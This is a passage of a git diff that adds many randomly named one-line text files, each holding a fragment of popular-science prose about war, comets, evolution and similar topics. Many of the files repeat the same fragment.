index 0000000..922ff55
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_wprbzyovcnrpwb.txt
@@ -0,0 +1 @@
+communicating complex thoughts. Other things being equal, it is better to be smart than to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_xqrejayttgjbpdioxlnf.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_xqrejayttgjbpdioxlnf.txt
new file mode 100644
index 0000000..922ff55
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/file_xqrejayttgjbpdioxlnf.txt
@@ -0,0 +1 @@
+communicating complex thoughts. Other things being equal, it is better to be smart than to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_aycsvsnasvqev.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_aycsvsnasvqev.txt
new file mode 100644
index 0000000..3f2dee4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_aycsvsnasvqev.txt
@@ -0,0 +1 @@
+Deadly Quarrels. Because he was interested in how long you had to wait for a war that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_fnexyquh.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_fnexyquh.txt
new file mode 100644
index 0000000..3f2dee4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_fnexyquh.txt
@@ -0,0 +1 @@
+Deadly Quarrels. Because he was interested in how long you had to wait for a war that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_fvfxpaxxyphdugakxs.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_fvfxpaxxyphdugakxs.txt
new file mode 100644
index 0000000..3f2dee4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_fvfxpaxxyphdugakxs.txt
@@ -0,0 +1 @@
+Deadly Quarrels. Because he was interested in how long you had to wait for a war that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_gquvmcpvbpgqzmgkbr.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_gquvmcpvbpgqzmgkbr.txt
new file mode 100644
index 0000000..3f2dee4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_gquvmcpvbpgqzmgkbr.txt
@@ -0,0 +1 @@
+Deadly Quarrels. Because he was interested in how long you had to wait for a war that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_hvpvblrtmwp.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_hvpvblrtmwp.txt
new file mode 100644
index 0000000..3f2dee4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_hvpvblrtmwp.txt
@@ -0,0 +1 @@
+Deadly Quarrels. Because he was interested in how long you had to wait for a war that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_iwdhjzuxb.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_iwdhjzuxb.txt
new file mode 100644
index 0000000..3f2dee4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_iwdhjzuxb.txt
@@ -0,0 +1 @@
+Deadly Quarrels. Because he was interested in how long you had to wait for a war that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_jkzkbfggpgticqlv.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_jkzkbfggpgticqlv.txt
new file mode 100644
index 0000000..3f2dee4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_jkzkbfggpgticqlv.txt
@@ -0,0 +1 @@
+Deadly Quarrels. Because he was interested in how long you had to wait for a war that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_jncysqljmgldwz.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_jncysqljmgldwz.txt
new file mode 100644
index 0000000..3f2dee4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_jncysqljmgldwz.txt
@@ -0,0 +1 @@
+Deadly Quarrels. Because he was interested in how long you had to wait for a war that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_kahttkxp.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_kahttkxp.txt
new file mode 100644
index 0000000..3f2dee4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_kahttkxp.txt
@@ -0,0 +1 @@
+Deadly Quarrels. Because he was interested in how long you had to wait for a war that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_kkckvtssejtha.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_kkckvtssejtha.txt
new file mode 100644
index 0000000..3f2dee4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_kkckvtssejtha.txt
@@ -0,0 +1 @@
+Deadly Quarrels. Because he was interested in how long you had to wait for a war that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_nykvzhhdspexrbqtwgoaumfo.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_nykvzhhdspexrbqtwgoaumfo.txt
new file mode 100644
index 0000000..3f2dee4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_nykvzhhdspexrbqtwgoaumfo.txt
@@ -0,0 +1 @@
+Deadly Quarrels. Because he was interested in how long you had to wait for a war that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_plqhnkqmaigoou.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_plqhnkqmaigoou.txt
new file mode 100644
index 0000000..3f2dee4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_plqhnkqmaigoou.txt
@@ -0,0 +1 @@
+Deadly Quarrels. Because he was interested in how long you had to wait for a war that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_pmycswnualwdxm.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_pmycswnualwdxm.txt
new file mode 100644
index 0000000..3f2dee4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_pmycswnualwdxm.txt
@@ -0,0 +1 @@
+Deadly Quarrels. Because he was interested in how long you had to wait for a war that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_qycjorymigoqir.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_qycjorymigoqir.txt
new file mode 100644
index 0000000..3f2dee4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_qycjorymigoqir.txt
@@ -0,0 +1 @@
+Deadly Quarrels. Because he was interested in how long you had to wait for a war that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_ssmxpnoigrqrtncjemb.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_ssmxpnoigrqrtncjemb.txt
new file mode 100644
index 0000000..3f2dee4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_ssmxpnoigrqrtncjemb.txt
@@ -0,0 +1 @@
+Deadly Quarrels. Because he was interested in how long you had to wait for a war that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_txznxulrqhdrxwhsiwnuslrg.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_txznxulrqhdrxwhsiwnuslrg.txt
new file mode 100644
index 0000000..3f2dee4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_txznxulrqhdrxwhsiwnuslrg.txt
@@ -0,0 +1 @@
+Deadly Quarrels. Because he was interested in how long you had to wait for a war that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_vbjwjplmwbyoopomykjuzp.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_vbjwjplmwbyoopomykjuzp.txt
new file mode 100644
index 0000000..3f2dee4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_vbjwjplmwbyoopomykjuzp.txt
@@ -0,0 +1 @@
+Deadly Quarrels. Because he was interested in how long you had to wait for a war that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_wpdjexuutbndpktd.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_wpdjexuutbndpktd.txt
new file mode 100644
index 0000000..3f2dee4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/file_wpdjexuutbndpktd.txt
@@ -0,0 +1 @@
+Deadly Quarrels. Because he was interested in how long you had to wait for a war that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/amjreqsfmjopmeslftg.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/amjreqsfmjopmeslftg.txt
new file mode 100644
index 0000000..f7fd302
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/amjreqsfmjopmeslftg.txt
@@ -0,0 +1 @@
+If you had walked through the pleasant Tuscan countryside in the 1890’s, you might
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/atusjxarbeirpmi.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/atusjxarbeirpmi.txt
new file mode 100644
index 0000000..28fc995
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/atusjxarbeirpmi.txt
@@ -0,0 +1 @@
+that could accelerate at 1 g, we would find ourselves in a perfectly natural environment. In
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/dcrpgmndxslogap.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/dcrpgmndxslogap.txt
new file mode 100644
index 0000000..5f3fcab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/dcrpgmndxslogap.txt
@@ -0,0 +1 @@
+But we are all of us - us whales, us apes, us people - too closely related. As long as our
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/dujrhndagjrfugkybywhxtae.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/dujrhndagjrfugkybywhxtae.txt
new file mode 100644
index 0000000..354943e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/dujrhndagjrfugkybywhxtae.txt
@@ -0,0 +1 @@
+living viroids only a few hundred nucleotides long. Experimental work on making such
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/dybyfkcp.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/dybyfkcp.txt
new file mode 100644
index 0000000..d07ac0d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/dybyfkcp.txt
@@ -0,0 +1 @@
+kind of pinkish-yellow rather than the blue which had erroneously first been reported, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/fcmozebxkiku.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/fcmozebxkiku.txt
new file mode 100644
index 0000000..f9f7ecf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/fcmozebxkiku.txt
@@ -0,0 +1 @@
+Every human culture rejoices in the fact that there are cycles in nature. But how, it
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_adqznnyg.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_adqznnyg.txt
new file mode 100644
index 0000000..1c87e60
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_adqznnyg.txt
@@ -0,0 +1 @@
+invention, evolved by natural selection in the cerebral cortex for one simple reason: it
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_aytunmpiddtk.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_aytunmpiddtk.txt
new file mode 100644
index 0000000..1c87e60
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_aytunmpiddtk.txt
@@ -0,0 +1 @@
+invention, evolved by natural selection in the cerebral cortex for one simple reason: it
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_cvmprhquzcc.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_cvmprhquzcc.txt
new file mode 100644
index 0000000..1c87e60
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_cvmprhquzcc.txt
@@ -0,0 +1 @@
+invention, evolved by natural selection in the cerebral cortex for one simple reason: it
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_eslvhrntuqyxolymqkw.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_eslvhrntuqyxolymqkw.txt
new file mode 100644
index 0000000..1c87e60
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_eslvhrntuqyxolymqkw.txt
@@ -0,0 +1 @@
+invention, evolved by natural selection in the cerebral cortex for one simple reason: it
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_fkvozmrsrepdkisx.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_fkvozmrsrepdkisx.txt
new file mode 100644
index 0000000..1c87e60
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_fkvozmrsrepdkisx.txt
@@ -0,0 +1 @@
+invention, evolved by natural selection in the cerebral cortex for one simple reason: it
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_flaotxlhcuxjkzm.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_flaotxlhcuxjkzm.txt
new file mode 100644
index 0000000..1c87e60
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_flaotxlhcuxjkzm.txt
@@ -0,0 +1 @@
+invention, evolved by natural selection in the cerebral cortex for one simple reason: it
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_gqcldjiulnygwjfjvohomf.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_gqcldjiulnygwjfjvohomf.txt
new file mode 100644
index 0000000..1c87e60
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_gqcldjiulnygwjfjvohomf.txt
@@ -0,0 +1 @@
+invention, evolved by natural selection in the cerebral cortex for one simple reason: it
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_knpwkavho.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_knpwkavho.txt
new file mode 100644
index 0000000..1c87e60
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_knpwkavho.txt
@@ -0,0 +1 @@
+invention, evolved by natural selection in the cerebral cortex for one simple reason: it
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_ngrzdlto.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_ngrzdlto.txt
new file mode 100644
index 0000000..1c87e60
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_ngrzdlto.txt
@@ -0,0 +1 @@
+invention, evolved by natural selection in the cerebral cortex for one simple reason: it
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_nsziwdjnnieguvkehdv.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_nsziwdjnnieguvkehdv.txt
new file mode 100644
index 0000000..1c87e60
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_nsziwdjnnieguvkehdv.txt
@@ -0,0 +1 @@
+invention, evolved by natural selection in the cerebral cortex for one simple reason: it
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_pezysuofunseiiwfljngont.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_pezysuofunseiiwfljngont.txt
new file mode 100644
index 0000000..1c87e60
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_pezysuofunseiiwfljngont.txt
@@ -0,0 +1 @@
+invention, evolved by natural selection in the cerebral cortex for one simple reason: it
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_roeccpsxmr.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_roeccpsxmr.txt
new file mode 100644
index 0000000..1c87e60
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_roeccpsxmr.txt
@@ -0,0 +1 @@
+invention, evolved by natural selection in the cerebral cortex for one simple reason: it
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_ruuixgbzyp.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_ruuixgbzyp.txt
new file mode 100644
index 0000000..1c87e60
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_ruuixgbzyp.txt
@@ -0,0 +1 @@
+invention, evolved by natural selection in the cerebral cortex for one simple reason: it
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_skrtkpribt.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_skrtkpribt.txt
new file mode 100644
index 0000000..1c87e60
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_skrtkpribt.txt
@@ -0,0 +1 @@
+invention, evolved by natural selection in the cerebral cortex for one simple reason: it
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_smqjckdejthoh.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_smqjckdejthoh.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_smqjckdejthoh.txt
@@ -0,0 +1 @@
+invention, evolved by natural selection in the cerebral cortex for one simple reason: it
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_ujwxesjqifrtcwaqnj.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_ujwxesjqifrtcwaqnj.txt
new file mode 100644
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+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_ujwxesjqifrtcwaqnj.txt
@@ -0,0 +1 @@
+invention, evolved by natural selection in the cerebral cortex for one simple reason: it
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_viaduvgcmbxarof.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_viaduvgcmbxarof.txt
new file mode 100644
index 0000000..1c87e60
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_viaduvgcmbxarof.txt
@@ -0,0 +1 @@
+invention, evolved by natural selection in the cerebral cortex for one simple reason: it
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_wbwiquinpoyyvieoqwtgeoyy.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_wbwiquinpoyyvieoqwtgeoyy.txt
new file mode 100644
index 0000000..1c87e60
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_wbwiquinpoyyvieoqwtgeoyy.txt
@@ -0,0 +1 @@
+invention, evolved by natural selection in the cerebral cortex for one simple reason: it
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_zmosmxbfcllxu.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_zmosmxbfcllxu.txt
new file mode 100644
index 0000000..1c87e60
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/file_zmosmxbfcllxu.txt
@@ -0,0 +1 @@
+invention, evolved by natural selection in the cerebral cortex for one simple reason: it
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/giwitnnympnlnjfda.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/giwitnnympnlnjfda.txt
new file mode 100644
index 0000000..348bdd6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/giwitnnympnlnjfda.txt
@@ -0,0 +1 @@
+atmosphere, where the winds are around 100 meters per second, some 220 miles per hour.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/humalgfnjsssx.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/humalgfnjsssx.txt
new file mode 100644
index 0000000..3f6f910
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/humalgfnjsssx.txt
@@ -0,0 +1 @@
+a nativity scene. The Great Comet of 1466 - yet another return of Halley’s Comet -
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/huvqfymblsarqbctgscuwmtv.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/huvqfymblsarqbctgscuwmtv.txt
new file mode 100644
index 0000000..94d93c5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/huvqfymblsarqbctgscuwmtv.txt
@@ -0,0 +1 @@
+sustain the life of all things with us.’
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/jnhfhcjyyydmuqqbypbxcfq.txt b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/jnhfhcjyyydmuqqbypbxcfq.txt
new file mode 100644
index 0000000..c7932aa
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blsoptsoyw/folder_rpvwhbeaup/folder_jywqjevnpf/folder_driqddraji/jnhfhcjyyydmuqqbypbxcfq.txt
@@ -0,0 +1 @@
+people who simply wish to be told an answer, any answer, and thereby avoid the burden of
\ No newline at end of file
